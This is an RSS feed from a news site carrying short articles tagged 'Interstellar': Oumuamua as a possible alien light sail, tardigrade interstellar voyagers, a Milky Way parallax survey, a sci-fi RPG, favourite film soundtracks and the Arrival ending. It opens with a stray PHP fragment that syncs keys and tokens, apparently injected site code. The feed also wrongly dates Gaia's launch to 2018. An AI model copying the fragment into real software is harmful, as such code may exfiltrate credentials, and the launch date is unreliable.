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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ‘Interstellar’ – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 03 Nov 2018 05:42:21 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ‘Interstellar’ – Brief News https://briefnews.eu 32 32 Mysterious interstellar asteroid could be a solar sail from wrecked alien probe, astronomers say https://briefnews.eu/mysterious-interstellar-asteroid-could-be-a-solar-sail-from-wrecked-alien-probe-astronomers-say/ https://briefnews.eu/mysterious-interstellar-asteroid-could-be-a-solar-sail-from-wrecked-alien-probe-astronomers-say/#respond Sat, 03 Nov 2018 05:42:21 +0000 http://briefnews.eu/mysterious-interstellar-asteroid-could-be-a-solar-sail-from-wrecked-alien-probe-astronomers-say/ Interstellar mystery rock Oumuamua might have been part of an alien reconnaissance mission, according to two Harvard Smithsonian astronomers who saw in the strange object signs it could be a light-driven probe.

As the strange rock moved out of our solar system last September, it sped up instead of slowing down as would be expected. Observers dismissed the acceleration as the result of a release of gas from within the rock, but astronomers Shmuel Bialy and Abraham Loeb are rethinking the whole matter, reasoning that if Oumuamua had merely been a comet undergoing outgassing, the release would have set the object to spinning. Instead, it remained flat, and the astronomers believe that could be by design.

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Dawn was the first spacecraft to orbit a celestial body between Mars and Jupiter. © NASA/JPL-Caltech

Oumuamua could be “powered” by the force exerted on its surface by sunlight, Bialy and Loeb concluded. Such a means of “power” would allow, say, an alien probe to travel far into the universe with nothing but light needed to fuel it. While there’s a possibility that the object is merely an abnormally thin, extremely large naturally-occurring piece of interstellar rock – it didn’t emit any radio signals detectable by human instruments – they speculate that it could be a defunct light-sail, space detritus fallen from a long-gone ship.

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Bialy and Loeb are serious about the possibility Oumuamua might have been deliberately constructed by extraterrestrials. Loeb calculated that for it to be a random object following a random orbit, there would have to be 100 million times more of its type hanging around in the solar system.

Their calculations also indicate that it’s the perfect thickness to withstand collisions with space dust, gas, and planetary forces without adding so much mass to render it incapable of sailing. And it looks and acts a lot like the Starshot Initiative and the IKAROS project, both of which humans built to do pretty much the same thing the astronomers think Oumuamua was doing.

Of course, they’ve only come to this conclusion now, when Oumuamua is long gone from our solar system and it’s way too late to hitch a ride off this planet.

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]]> https://briefnews.eu/the-physics-behind-the-strange-interstellar-asteroid-oumuamua/feed/ 0 Earth’s 1st interstellar explorers have been chosen, and they’re tiny https://briefnews.eu/earths-1st-interstellar-explorers-have-been-chosen-and-theyre-tiny/ https://briefnews.eu/earths-1st-interstellar-explorers-have-been-chosen-and-theyre-tiny/#respond Sat, 04 Nov 2017 02:34:14 +0000 http://briefnews.eu/earths-1st-interstellar-explorers-have-been-chosen-and-theyre-tiny/ The Starlight program has selected both tardigrades and a species of roundworm as the Earth’s first interstellar voyagers who will cross the solar system at relativistic speeds on a laser-powered craft.

“It will not be easy,” said Philip Lubin, head of the Starlight program at the University of California, Santa Barbara (UCSB), as cited by Space.com. “There are many difficult technical issues. It will not be cheap. But it is possible.”

“We are developing the capability to test whether terrestrial life as we know it can exist in interstellar space by preparing small life-forms … C. elegans and radiation-resistant tardigrades … which are ideal candidates to be our first interstellar travelers,” Lubin added.

Lubin, with support from NASA and in conjunction with his colleagues and students, founded the Starlight program, also known as DEEP IN (Directed Energy Propulsion for Interstellar Exploration) as part of NASA’s far-reaching plan for space travel, also known as DEIS (Directed Energy Interstellar Studies).

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The project aims to use lasers to propel tiny spacecraft at close to relativistic speeds, roughly a quarter the speed of light, in the hopes of launching the first terrestrial interstellar mission, even if humans don’t actually get to ride along. Once such speeds are reached, the microscopic team of nematodes and tardigrades could theoretically reach our closest interstellar neighbor in roughly 20 years. For context, Earth’s farthest traveller is Voyager 1 which has taken almost 40 years to reach the edge of our solar system, let alone make it to the next.

Both the nematodes and tardigrades (also known as water bears, moss piglets or space bears) are capable of enduring extraordinary physical hardship which makes them uniquely qualified for such a high-stakes mission. Both creatures have been shown to survive in: extreme temperature environments (tardigrades can be frozen for years at a time and reanimated with little to no lasting damage), the vacuum of space, high acceleration (tens of thousands of g-forces) while also withstanding high doses of radiation, a critical strength for any organic life to survive space travel. Tardigrades in particular are so tough that some scientists think they’ll live on even after the end of life on Earth.

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“Besides being microscopic, and thus conveniently fitting on our first interstellar wafer craft, they can be frozen and put into a state of anhydrobiosis, meaning they can be dehydrated and put into suspended animation,” the team wrote on the project website. “When they are re-hydrated, they wake up as good as new!”

“Clearly, there are many technical challenges. This is a long-term humanity-changing program,” Lubin said. “The biggest challenge is that NASA, the U.S. government, does not plan 30 to 50 years ahead in space. Perhaps a public/private alliance is needed. Similarly, what may be required is a new division of NASA or new agency whose mandate is interstellar flight.”

Scientists plan to study the creatures periodically throughout the journey to determine how viable interstellar travel is for biological Earth-based organisms.

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To date, every comet humanity has seen inside the Solar System has come from the Solar System, whether it’s the Kuiper Belt or the billions of comets believed to make up the Oort Cloud. Now, however, it looks like astronomers might have found a comet of interstellar origin. They’ve used Hawaii’s Pan-STARRS 1 telescope to track C/2017 U1, an object with a very eccentric, hyperbolic orbit (that is, moving quickly enough to escape gravitational pull) that wasn’t connected to the Sun. The trajectory suggests that it’s a comet which escaped from a nearby star, rather than something knocked out a familiar path and drawn in by the Sun’s gravity.

These are preliminary findings, and there’s more work to be done before researchers can be completely sure. If they confirm the orbit, though, it’ll expand our understanding of space: we’ll have tangible evidence that star systems can “swap” comets if the circumstances are right. The concept wasn’t far-fetched given that comets are fairly common, but it’s good to have tangible proof.

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]]> https://briefnews.eu/researchers-observe-the-first-known-interstellar-comet/feed/ 0 ‘Other side of the galaxy’: Interstellar survey paves way for detailed map of the Milky Way https://briefnews.eu/other-side-of-the-galaxy-interstellar-survey-paves-way-for-detailed-map-of-the-milky-way/ https://briefnews.eu/other-side-of-the-galaxy-interstellar-survey-paves-way-for-detailed-map-of-the-milky-way/#respond Sun, 22 Oct 2017 22:07:10 +0000 http://briefnews.eu/other-side-of-the-galaxy-interstellar-survey-paves-way-for-detailed-map-of-the-milky-way/

A string of radio telescopes have been used to measure a span of 66,000 light-years from Earth to a star-forming area of space at the other side of the Milky Way.

The feat, achieved using the Very Long Baseline Array (VLBA), a group of radio telescopes found across the US and its territories but centrally operated near Socorro, New Mexico, is almost double the previous measurement record of an object in our galaxy. For context, one light-year is equal to 6 trillion miles.

The study, published in the journal Science, was conducted by the Bar and Spiral Structure Legacy Survey (BeSSSeL), an international group that specialises in mapping the “spiral structure and kinematics of the Milky Way.”

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Speaking to Science Mag, the leader of the study, astronomer Alberto Sanna of the Max Planck Institute for Radio Astronomy in Bonn, Germany, said: “This is something amazing. Essentially we are looking at the other side of the galaxy.”

Beginning in 2010, Sanna’s team used the VLBA to track water vapour signals in the galaxy. They then measured the angles between the Sun, Earth and the water vapour, and then again six months later when the Earth was on opposite sides of the Sun, to accurately calculate its total distance from the Earth.

The technique, which is called ‘trigonometric parallax’, was then applied to measure the distance between Earth and a star in the Scutum-Centaurus spiral arm – a length of about 66,000 light-years. The previous record for parrallax measurement was about 36,000 light-years.

According to Mark Reid, senior radio astronomer at the Harvard-Smithsonian Center for Astrophysics, the technique could be used to develop a detailed map of the Milky Way within the next 10 years.

Reid told the Albuquerque Journal that just 200 celestial objects have been mapped so far, but at least 100 will have to be done from the Earth’s southern hemisphere.  

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Other teams, too, are joining in the mapping effort. In April 2018, the European Space Agency will launch its Gaia probe. A satellite capable of producing detailed 3D coordinates for more than one billion objects, most of them stars, in our galaxy. This, the ESA says, amounts to about one percent of the Galactic stellar population.

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]]> https://briefnews.eu/other-side-of-the-galaxy-interstellar-survey-paves-way-for-detailed-map-of-the-milky-way/feed/ 0 The New World Takes The CRPG On An Interstellar Journey https://briefnews.eu/the-new-world-takes-the-crpg-on-an-interstellar-journey/ https://briefnews.eu/the-new-world-takes-the-crpg-on-an-interstellar-journey/#respond Mon, 25 Sep 2017 04:49:28 +0000 http://briefnews.eu/the-new-world-takes-the-crpg-on-an-interstellar-journey/ new world1.jpg

Iron Tower’s The Age of Decadence let the player role-play in a low-fantasy world of kings, houses, guilds, and myths of ancient magic. It was an RPG where playing to the strengths of your character – ie your silver-tongued conman won’t last long in a fight – was key to success, and every quest offered possibilities appealing to those who preferred talk or trickery over combat.

Now their next major RPG The New World leaves the fantasy world behind for the massive confines of a ship travelling through the cosmos for generations.

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When hyperdrives or faster-than-light travel aren’t options, a generation ship is your other means of long-distance space travel, a spaceship and enclosed environment where generations after generations of travelers are born, live, and die while the vessel travels to its destination. The New World takes place on such a ship, centuries into its voyage. Unfortunately, the purpose of that voyage has long been forgotten except for a militant few and the population has divided into various factions living throughout the ship, people who have only known life and existence on the ship.

It’s into this perilous and wartorn environment that you enter, setting out on a journey from the toxic maintenance areas where a civilization of mutants thrive to the decks where different societies and groups live and fight. You’ll be able to gather a party, wield weapons like energy rifles and hologram projectors, and upgrade yourself with implants to improve skills and find new ways to approach quests. Among this claustrophobic world, each faction offers new opportunities and dangers, as you decide how to ally with (if any) and make decisions that affect the story and your companions.

The New World is still relatively early in development; you can follow its progress and developer Iron Tower Studios through the game’s site and social media.

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Long after you exit the theater and brush the popcorn out of your teeth, the best film soundtracks stick in your head. Sometimes you sing along to them with your family and friends, like the incredible first line of Star Wars (you’re hearing it right now), while other times you’re not even aware how integral they really are, such as the hollow austerity of Interstellar. But they’re always there, propping up the integral moments, and viscerally drawing out your emotions.

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To celebrate these cinematic musical masterpieces, we’ve put together a list of our 30 favorite film soundtracks of all time, in no particular order. Whether you’re a lover of the purpose-composed epics that propel your favorite films’ plot points, or a follower of the perfectly assembled song compilations that color their overall tone, you’ll find something to love below.

Here are our favorite original scores and compilation soundtracks of all time:

Best Original Scores

Star Wars Series — John Williams

Arguably the most iconic film music ever written, John Williams’ epic themes for the Star Wars are not only instantly recognizable around the globe, they also created a film score renaissance, bringing back the grandiose scores from the cinema’s earlier days. To create the Star Wars backdrop, the legendary composer drew heavily from space-themed classical compositions like Gustav Holst’s Planets series, using diverse layers of strings, horns, and unforgettable melodies to capture the emotions of the space opera set a long time ago in a galaxy far, far away. As for Williams, get used to hearing about him as the iconic composer’s name is awash throughout this list.

The Lord of the Rings Trilogy — Howard Shore

Massive choirs, huge drums, and epic brass ensembles join soft and supple woodwinds and strings in composer Howard Shore’s soundtrack for the Lord of the Rings trilogy. It’s a diverse array of sounds that showcases a wide universe of creatures and magic, using techniques like odd time signatures and celtic violin melodies to spawn vast feelings of tension and release that fit well inside the epic three-part story line.

Indiana Jones  Series — John Williams

John Williams uses various percussion instruments and dissonant melodic structures to bring a sense of adventure to the Indiana Jones soundtrack, also drawing on concepts like simple repeating melodies — in this case among the catchiest film themes ever written — to help propel the story through each act.

Interstellar — Hans Zimmer

Slow, sparse, and haunting, Hans Zimmer’s Interstellar score moves through your ears like a dust cloud in the vast emptiness of space. Strings and organ float languidly throughout director Christopher Nolan’s space epic, a musical backdrop that invites deep introspective thought, and brilliantly draws your eyes to the beautiful shots on screen.

Jurassic Park Series — John Williams

Shimmering bells and slow-moving vocal backgrounds round out the scores of the Jurassic Park films, a series of works that Williams once called, “These kind of funny ballets.” To mix the primal and the modern, the score includes a good amount of percussion instruments and subtly mixed synthesizers, pitting ancient sounds against the most contemporary tones (and, for you music nerds, that epic flat 7).

The Godfather — Nino Rota

There is a distinct tinge of the old world in the warbly trumpet and string tones composed by Nino Rota for the Godfather score — a group of melancholy compositions with an eye firmly planted on classic Italy. Beautiful accordion-driven waltzes meet jazzy swing music, with all the songs woven together by dark and somber orchestral music.

Christopher Nolan’s Batman Trilogy — James Newton Howard and Hans Zimmer

Co-composers Hans Zimmer and James Newton Howard did well to avoid superhero tropes in their score for Christopher Nolan’s dark Batman trilogy, going so far as to hold back introducing a main theme until almost the end of the first film. Instead, the pair used deep drum, synthesizer, and brass tones, creating a Batman franchise that felt more primal than anything before it. Holding off till nearly the last moment makes the theme all the more dramatic when it finally does arrive.

Back to the Future Trilogy —  Alan Silvestri

There’s a playful and mysterious nature to the sounds of the Back to the Future trilogy, with composer Alan Silvestry using shimmery harp and percussion tones for fun-loving moments, as well as deep horn cues to for fast-paced intensity. Like many others on this list, recurring melodic themes play a huge role in drawing your ear, with the main theme typically appearing in a cloud of brass and strings. And while the orchestral numbers are fantastic, we can’t leave out Huey Lewis here, who pumped out some of his catchiest ’80s hits for the original film. That’s the power of love, folks.

Harry Potter and the Sorcerer’s Stone — John Williams

The spirit of the wizarding world is perfectly captured by John Williams on Hedwig’s Theme, a mysterious keyboard driven ballad that appears throughout the first Harry Potter film. In general, Williams shows off his more intimate side on this score, with many quick-paced horn and string lines underlying the longer, more melodic elements of the music.

Jaws — John Williams

The bold, ominous main theme crafted by Williams for the Jaws franchise is a work of simple and elegant genius. Slowly creeping into your ears like the sight of the massive shark itself, the composer builds tension over time, eventually bursting into your head with sharp, tooth-like tones.

Psycho — Bernard Herrmann

The slow-building high pitched string wail composed by Bernard Hermann for the iconic shower scene in Alfred Hitchcock’s Psycho remains among the most panic-inducing sounds in the history of modern cinema. The remainder of Hermann’s strings-only soundtrack perfectly compliments the black and white classic, lending a constant air of suspense throughout what remains one of cinema’s best thrillers.

The Magnificent Seven (1960) — Elmer Bernstein

The essence of the American frontier was perfectly captured by composer Elmer Bernstein in his classic (and utterly hummable) theme for The Magnificent Seven, with a gently flowing string melody and quick-paced woodwinds, brass, and percussion cues. In fact, the soundtrack is so catchy it was repurposed for advertising by both Marlboro cigarettes and Victoria beer as well as the classic James Bond film Moonraker, among numerous other references.

E.T. the Extra Terrestrial — John Williams

The score for E.T. the Extra Terrestrial resembles Williams’ work on the original Star Wars trilogy in many ways. Though not quite as melody-focused as the Star Wars compositions, the musical landscape is driven by deep woodwind tones, shimmering strings, and soft flutes — a group of sounds that helps humanize the strange alien on screen, and helps showcase his overall emotion and fear of the darker side of humanity.

Blade Runner — Vangelis

Classic ’80s synthesizer tones and epic string arrangements transport the listener instantly to Ridley Scott’s dark dystopia, with recurring bell tones that call out through a constant musical mist. Though each song feels unique — from the saxophone-laden Wait for Me to the soft female vocals of Rachel’s Song — there is a reverb-soaked mystery to everything on Vangelis’ soundtrack that helps every element of the film flow together.

Butch Cassidy and the Sundance Kid — Burt Bacharach

The playful and poetic nature of both main characters in Butch Cassidy and the Sundance Kid is well-reflected in the musical accompaniment of Burt Bacharach, who uses classic tones like out-of-tune piano and melds them with more modern string and horn arrangements. It’s a score that sounds equal parts Broadway musical and country classic.

Best Compilation Soundtracks

‘O Brother: Where Art Thou 

Producer T Bone Burnett’s playful, hand-picked mix of Appalachian folk songs has been certified eight times platinum since the film’s release — easily ranking among the most successful compilation soundtracks of all time. The songs are elegant interpretations of classics that feature acoustic guitar, mandolin, and various other folk instruments, and are often driven by beautiful vocal harmonies.

High Fidelity

The producers of this music snob-focused rom-com reportedly listened to over 2,000 different songs to come up with the film’s 70 total musical cues — a job which resulted in one of the most critically-acclaimed indie music soundtracks ever assembled. Previously obscure recordings like The Beta Band’s The Three EP’s saw a massive increase in popularity following the film’s release, and helped encapsulate the world of rock nerds in a way which feels (and sounds) authentic.

Goodfellas 

Director Martin Scorsese decided to pick only music that could have been heard at the time each specific scene was set in his gangster classic Goodfellas. But though that was his only hard and fast rule, in general, the director has said his jazz-driven choices were designed to coincide with the emotions of the characters and happenings in each scene. As such, music plays a key role in the film, with various vocal lines from jazz classics often intersecting with on-screen dialogue.

Pulp Fiction

The gritty surf rock and soul music at the heart of Quentin Tarantino’s Pulp Fiction adds a certain something to the long, wordy scenes in the film — releasing tension in a cathartic and cool manner throughout. Tarantino’s choices also helped revive the then-fading genre of surf rock in the American and international consciousness, with musicians like Dick Dale seeing a revival in popularity throughout the ’90s.

Almost Famous

Classic songs from groups like Led Zeppelin, Yes, and David Bowie help fully-develop the time stamp of Almost Famous, which centers on an up-and-coming band from the ’70s rock era. Thoughtful musical choices also provide context to each character’s thoughts and emotions, adding an important depth to what you see on-screen.

Saturday Night Fever

The world’s most perfect disco soundtrack can be heard on Saturday Night Fever, a Bee Gees-lead group of songs which has been certified 15 times platinum in the decades since its mid-’70s release. Propelled by the Travolota’s dance moves, the soundtrack epitomized the disco scene in the United States at the time, making it an unmistakable landmark in the world of compilation-based soundtracks.

Do The Right Thing

Spike Lee’s classic urban comedy Do The Right Thing relies heavily on a compilation of cassette tape hip-hop, pop, and R&B, and provided a launch pad for now-famous songs like Public Enemy’s Fight The Power. In addition to helping grow hip-hop’s popularity, it also serves as a true-to-era backdrop for late-’80s Brooklyn, making the film feel more authentic overall.

Trainspotting 

Director Danny Boyle’s film about the drug-filled UK underground features the sounds of iconic musicians like Iggy Pop and bands like Primal Scream and New Order. It’s a rough and tumble group of songs that fits the heroin addicts’ dingy lifestyle like a glove, and has been long hailed by audiences and critics alike as among the best ever compiled.

Once

Though some of the songs performed on the Once soundtrack by songwriters and co-stars Glen Hansard and Markéta Irglová were written explicitly for the film, most were already recorded by the pair on an album called The Swell Season. Subtle and moving, the pair’s vocal-driven folk helped propel the film about a struggling musician to international acclaim, and helped grow their own careers as independent artists.

Garden State

Actor/director Zach Braff made huge waves in the music world with his song choices on classic indie film Garden State, helping propel now-legendary indie acts like Iron and Wine and The Shins to huge new heights.

American Graffiti

Even before his Star Wars days, director George Lucas had an ear for good music. The soundtrack to his ’50s-set coming-of-age film American Graffiti consists largely of classic rock and roll, featuring easy-listening hits like Louie Louie, Surfin’ Safari, and Maybe Baby. A portrait of his own youth, the song choices helped underscore the simple conflicts that unfold on screen.

The Graduate

Softly sung ballads from folk legends Simon and Garfunkel accompany the sticky conflicts that appear throughout The Graduate. Complex and haunting, songs like The Sound of Silence appear numerous times throughout the film, helping to drive the plot — and the audience’s prospective — to new and interesting places.

The Life Aquatic with Steve Zissou 

While the gorgeous acoustic covers of David Bowie classics sung in Portuguese on Wes Anderson’s Life Aquatic were performed by guitarist Seu George specifically for the film, they are joined by numerous hits from Bowie and artists like The Stooges and The Zombies. It’s a group of songs with a unique and interesting outward aesthetic, a re-worked bit of modernity that joins well with Anderson’s heavily curated visuals. We could have picked any number of Anderson films for this one — his love of The Kinks helped make the band cool for a whole new generation — but this one really hits home.

The Blues Brothers

Classic comedy The Blues Brothers relies heavily on a raucous soundtrack of vintage blues, jazz, and R&B songs, re-interpreted to fit the adopted personalities of the two lead characters and their band. It’s a high-energy compilation with deep grooves and great horn accompaniment that gives the film an extremely fun-loving feel.

2001: A Space Odyssey

Epic classical works from composers like Johann Strauss II and Aram Khachaturian provide the epic and eerie musical backdrops in Stanley Kubrick’s iconic sci-fi classic, giving the beautiful, revolutionary effects and camera work a deep sense of mystery.

Don’t see your favorite score or soundtrack on our list? Let us know your picks in the comments section below.

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The ending of Arrival is of a piece with the rest of the movie: a meticulously thought-out, beautifully understated gut-puncher that brings the entire story full circle. But as revealed by its Oscar-nominated screenwriter Eric Heisserer, it almost had a very different finale. It turns out that in a way, we’ve got Christopher Nolan‘s Interstellar to thank for the finale we got. Click through to find out how Interstellar changed the Arrival ending. Obviously, spoilers are ahead. 

Speaking with Collider, Heisserer revealed how Interstellar indirectly led to the Arrival ending that we got.

I would say the only real significant change is the gift that the heptapods leave us with. In earlier versions they were leaving sort of the blueprints to an interstellar ship, like an ark of sorts. And then Chris Nolan’s Interstellar came out and all of us got together and said, ‘Well this doesn’t quite work now’ (laughs). So we focused more on what we had there in front of us, which was the power of their language.

Midway through the the movie, the heptapods tell Louise that they’re visiting humanity now because they’ll need our assistance in the future. Heisserer explained how the spaceship would have helped us help them:

[I]t was always that in three millennia we would end up being in a place to help them, and in order to have that happen we needed to start colonizing. We needed to start getting off Earth.

In the final version of Arrival, the heptapod language itself is the gift. Those who learn it, like Louise, gain the ability to perceive time differently, seeing the past and future as part of a cohesive whole instead of experiencing time linearly like we do now. As a concept in a sci-fi movie, it might not be as sexy and as flashy as an interstellar ark, but I think it suits the movie better. So much of Arrival is about the importance of communication. What better way to tie the whole film together than by returning to that same theme?

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